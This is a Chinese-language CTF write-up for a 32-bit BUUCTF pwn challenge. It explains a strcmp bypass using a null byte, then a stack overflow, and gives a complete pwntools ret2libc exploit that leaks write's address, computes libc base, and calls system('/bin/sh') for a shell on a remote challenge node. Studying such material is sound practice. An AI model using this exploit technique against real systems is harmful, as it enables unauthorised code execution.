题目分析
1.checksec
发现只开了NX保护,32位文件
2.IDA打开
(1)看main函数伪代码
由于有sub_80486BB(初始化缓存区函数),所以buf是个随机数
(2)看其他函数伪代码
①函数中有个字符串比较要绕过,所以要使v1=0
②已知strlen函数的缺陷使遇到\x00直接截断,所以可得输入的第一位数应为\x00
③已知buf[7],且函数中有read(0,buf,0x20u),此外经计算可得(?)v5=buf的第8位,所以可得v5可以被指定
④已知a1=v5,buf为[ebp-E7h],如果v5==127,由于C8<E7,无法覆盖返回地址,所以可得v5需要仅可能大。所以填上\xff(255),使其执行else进行溢出
from pwn import *
io=remote('node4.buuoj.cn',26184)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system']
binsh_libc=libc.search('/bin/sh').next()
write_libc=libc.symbols['write']
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload='\x00'+'\xff'*6+'\xff' #v5
io.sendline(payload)
io.recvuntil("Correct\n")
payload='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
# ret1 ret2
#这里有个套娃:write_plt覆盖的是sub_80487D0函数的返回地址,而write函数是main函数的函数,所以后面需要有三个write的参数
payload+=p32(1)+p32(write_got)+p32(4)
#write par1 par2 par3
io.sendline(payload)
write_addr=u32(io.recv(4))
#得到了write在内存中的位置 所以我们可以用题目提供的函数共享库算出system在内存中的位置
base=write_addr-write_libc
system_addr=system_libc+base
binsh_addr=binsh_libc+base
payload='\x00'+'\xff'*7
io.sendline(payload)
io.recvuntil("Correct\n")
#第二次就直接把返回地址改成system的地址
payload='a'*(0xe7+4)+p32(system_addr)+p32(main_addr)
payload+=p32(binsh_addr)
io.sendline(payload)
io.interactive()